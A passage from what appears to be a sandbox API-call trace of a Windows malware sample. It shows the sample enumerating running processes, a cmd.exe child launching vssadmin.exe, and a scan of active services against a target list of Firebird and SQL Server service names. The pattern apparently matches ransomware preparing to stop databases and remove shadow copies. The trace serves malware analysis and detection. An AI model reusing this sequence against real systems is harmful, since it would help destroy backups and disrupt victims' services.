lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x17c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0048.259] lstrlenW (lpString="lsm.exe") returned 7 [0048.259] Process32NextW (in: hSnapshot=0x21c, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0048.259] lstrlenW (lpString="svchost.exe") returned 11 [0048.259] Process32NextW (in: hSnapshot=0x21c, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0048.260] lstrlenW (lpString="svchost.exe") returned 11 [0048.260] Process32NextW (in: hSnapshot=0x21c, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0048.260] lstrlenW (lpString="svchost.exe") returned 11 [0048.260] Process32NextW (in: hSnapshot=0x21c, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x334, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0048.261] lstrlenW (lpString="svchost.exe") returned 11 [0048.261] Process32NextW (in: hSnapshot=0x21c, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x27, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0048.262] lstrlenW (lpString="svchost.exe") returned 11 [0048.262] Process32NextW (in: hSnapshot=0x21c, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0048.262] lstrlenW (lpString="audiodg.exe") returned 11 [0048.262] Process32NextW (in: hSnapshot=0x21c, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0048.263] lstrlenW (lpString="svchost.exe") returned 11 [0048.263] Process32NextW (in: hSnapshot=0x21c, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x124, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0048.263] lstrlenW (lpString="svchost.exe") returned 11 [0048.263] Process32NextW (in: hSnapshot=0x21c, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x334, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0048.264] lstrlenW (lpString="dwm.exe") returned 7 [0048.264] Process32NextW (in: hSnapshot=0x21c, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x45c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x21, th32ParentProcessID=0x440, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0048.265] lstrlenW (lpString="explorer.exe") returned 12 [0048.265] Process32NextW (in: hSnapshot=0x21c, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0048.265] lstrlenW (lpString="spoolsv.exe") returned 11 [0048.265] Process32NextW (in: hSnapshot=0x21c, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0048.266] lstrlenW (lpString="taskhost.exe") returned 12 [0048.266] Process32NextW (in: hSnapshot=0x21c, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0048.267] lstrlenW (lpString="svchost.exe") returned 11 [0048.267] Process32NextW (in: hSnapshot=0x21c, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x50c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x36c, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0048.267] lstrlenW (lpString="taskeng.exe") returned 11 [0048.268] Process32NextW (in: hSnapshot=0x21c, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x410, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1cc, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0048.268] lstrlenW (lpString="taskhost.exe") returned 12 [0048.268] Process32NextW (in: hSnapshot=0x21c, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x588, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="chem venues.exe")) returned 1 [0048.269] lstrlenW (lpString="chem venues.exe") returned 15 [0048.269] Process32NextW (in: hSnapshot=0x21c, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x61c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="month.exe")) returned 1 [0048.269] lstrlenW (lpString="month.exe") returned 9 [0048.269] Process32NextW (in: hSnapshot=0x21c, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="glasgow.exe")) returned 1 [0048.270] lstrlenW (lpString="glasgow.exe") returned 11 [0048.270] Process32NextW (in: hSnapshot=0x21c, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x35c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="rubber.exe")) returned 1 [0048.271] lstrlenW (lpString="rubber.exe") returned 10 [0048.271] Process32NextW (in: hSnapshot=0x21c, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="petroleum.exe")) returned 1 [0048.271] lstrlenW (lpString="petroleum.exe") returned 13 [0048.271] Process32NextW (in: hSnapshot=0x21c, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x788, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="catalyst-ps-grammar.exe")) returned 1 [0048.272] lstrlenW (lpString="catalyst-ps-grammar.exe") returned 23 [0048.272] Process32NextW (in: hSnapshot=0x21c, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="serve-collaboration-semiconductor.exe")) returned 1 [0048.273] lstrlenW (lpString="serve-collaboration-semiconductor.exe") returned 37 [0048.273] Process32NextW (in: hSnapshot=0x21c, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x62c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="batman_oliver.exe")) returned 1 [0048.273] lstrlenW (lpString="batman_oliver.exe") returned 17 [0048.273] Process32NextW (in: hSnapshot=0x21c, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="formation.exe")) returned 1 [0048.274] lstrlenW (lpString="formation.exe") returned 13 [0048.274] Process32NextW (in: hSnapshot=0x21c, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x780, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="whole.exe")) returned 1 [0048.275] lstrlenW (lpString="whole.exe") returned 9 [0048.275] Process32NextW (in: hSnapshot=0x21c, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x240, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="pollution dominican rural.exe")) returned 1 [0048.987] lstrlenW (lpString="pollution dominican rural.exe") returned 29 [0048.987] Process32NextW (in: hSnapshot=0x21c, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x210, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="disorder.exe")) returned 1 [0048.996] lstrlenW (lpString="disorder.exe") returned 12 [0048.996] Process32NextW (in: hSnapshot=0x21c, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x314, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="expenseselsewhere.exe")) returned 1 [0049.006] lstrlenW (lpString="expenseselsewhere.exe") returned 21 [0049.006] Process32NextW (in: hSnapshot=0x21c, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="nextel-feeds.exe")) returned 1 [0049.017] lstrlenW (lpString="nextel-feeds.exe") returned 16 [0049.017] Process32NextW (in: hSnapshot=0x21c, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="photographymiscellaneousmeters.exe")) returned 1 [0049.020] lstrlenW (lpString="photographymiscellaneousmeters.exe") returned 34 [0049.020] Process32NextW (in: hSnapshot=0x21c, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x774, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="perspective.exe")) returned 1 [0049.020] lstrlenW (lpString="perspective.exe") returned 15 [0049.020] Process32NextW (in: hSnapshot=0x21c, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="demand-site.exe")) returned 1 [0049.021] lstrlenW (lpString="demand-site.exe") returned 15 [0049.021] Process32NextW (in: hSnapshot=0x21c, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x794, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="attachment.exe")) returned 1 [0049.022] lstrlenW (lpString="attachment.exe") returned 14 [0049.022] Process32NextW (in: hSnapshot=0x21c, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x494, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="valid-permit.exe")) returned 1 [0049.022] lstrlenW (lpString="valid-permit.exe") returned 16 [0049.022] Process32NextW (in: hSnapshot=0x21c, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x358, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="knights.exe")) returned 1 [0049.023] lstrlenW (lpString="knights.exe") returned 11 [0049.023] Process32NextW (in: hSnapshot=0x21c, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0049.024] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0049.024] Process32NextW (in: hSnapshot=0x21c, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="ohbdap.exe")) returned 1 [0049.024] lstrlenW (lpString="ohbdap.exe") returned 10 [0049.024] Process32NextW (in: hSnapshot=0x21c, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x9a0, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0049.025] lstrlenW (lpString="cmd.exe") returned 7 [0049.025] Process32NextW (in: hSnapshot=0x21c, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x188, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0049.026] lstrlenW (lpString="conhost.exe") returned 11 [0049.026] Process32NextW (in: hSnapshot=0x21c, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x9b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0049.026] lstrlenW (lpString="vssadmin.exe") returned 12 [0049.026] Process32NextW (in: hSnapshot=0x21c, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa2c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 1 [0049.027] lstrlenW (lpString="VSSVC.exe") returned 9 [0049.027] Process32NextW (in: hSnapshot=0x21c, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xae4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0049.028] lstrlenW (lpString="svchost.exe") returned 11 [0049.028] Process32NextW (in: hSnapshot=0x21c, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xae4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 0 [0049.028] CloseHandle (hObject=0x21c) returned 1 [0049.028] Sleep (dwMilliseconds=0x1f4) [0049.657] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x52fff8 [0049.658] EnumServicesStatusExW (in: hSCManager=0x52fff8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x219ff44, lpServicesReturned=0x219ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x219ff44, lpServicesReturned=0x219ff5c, lpResumeHandle=0x0) returned 0 [0049.658] GetLastError () returned 0xea [0049.658] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x12c6) returned 0x5a5d28 [0049.658] EnumServicesStatusExW (in: hSCManager=0x52fff8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x5a5d28, cbBufSize=0x12c6, pcbBytesNeeded=0x219ff44, lpServicesReturned=0x219ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x5a5d28, pcbBytesNeeded=0x219ff44, lpServicesReturned=0x219ff5c, lpResumeHandle=0x0) returned 1 [0049.659] CloseServiceHandle (hSCObject=0x52fff8) returned 1 [0049.659] lstrlenW (lpString="Appinfo") returned 7 [0049.659] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0049.659] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0049.659] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0049.659] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0049.659] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0049.659] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0049.659] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0049.659] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0049.659] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0049.659] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0049.659] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0049.659] lstrlenW (lpString="AudioSrv") returned 8 [0049.659] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0049.660] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0049.660] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0049.660] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0049.660] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0049.660] lstrlenW (lpString="BFE") returned 3 [0049.660] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0049.660] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0049.660] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0049.660] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0049.660] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0049.660] lstrlenW (lpString="CryptSvc") returned 8 [0049.660] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0049.660] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0049.660] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0049.660] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0049.660] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0049.660] lstrlenW (lpString="CscService") returned 10 [0049.660] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0049.660] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0049.660] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0049.660] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0049.660] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0049.660] lstrlenW (lpString="DcomLaunch") returned 10 [0049.660] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0049.660] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0049.660] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0049.660] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0049.660] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0049.660] lstrlenW (lpString="Dhcp") returned 4 [0049.660] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0049.660] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0049.660] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0049.660] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0049.660] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0049.661] lstrlenW (lpString="Dnscache") returned 8 [0049.661] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0049.661] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0049.661] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0049.661] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0049.661] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0049.661] lstrlenW (lpString="DPS") returned 3 [0049.661] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0049.661] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0049.661] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0049.661] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0049.661] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0049.661] lstrlenW (lpString="eventlog") returned 8 [0049.661] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0049.661] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0049.661] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0049.661] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0049.661] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0049.661] lstrlenW (lpString="EventSystem") returned 11 [0049.661] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0049.661] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0049.661] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0049.661] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0049.661] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0049.661] lstrlenW (lpString="gpsvc") returned 5 [0049.661] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0049.661] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0049.661] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0049.661] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0049.661] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0049.661] lstrlenW (lpString="iphlpsvc") returned 8 [0049.661] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0049.661] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0049.661] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0049.662] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0049.662] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0049.662] lstrlenW (lpString="LanmanServer") returned 12 [0049.662] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0049.662] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0049.662] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0049.662] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0049.662] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0049.662] lstrlenW (lpString="LanmanWorkstation") returned 17 [0049.662] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0049.662] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0049.662] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0049.662] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0049.662] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0049.662] lstrlenW (lpString="lmhosts") returned 7 [0049.662] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0049.662] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0049.662] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0049.662] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0049.662] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0049.662] lstrlenW (lpString="MMCSS") returned 5 [0049.662] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0049.662] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0049.662] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0049.662] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0049.662] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0049.662] lstrlenW (lpString="MpsSvc") returned 6 [0049.662] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0049.662] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0049.662] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0049.662] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0049.662] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0049.662] lstrlenW (lpString="Netman") returned 6 [0049.662] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0049.663] 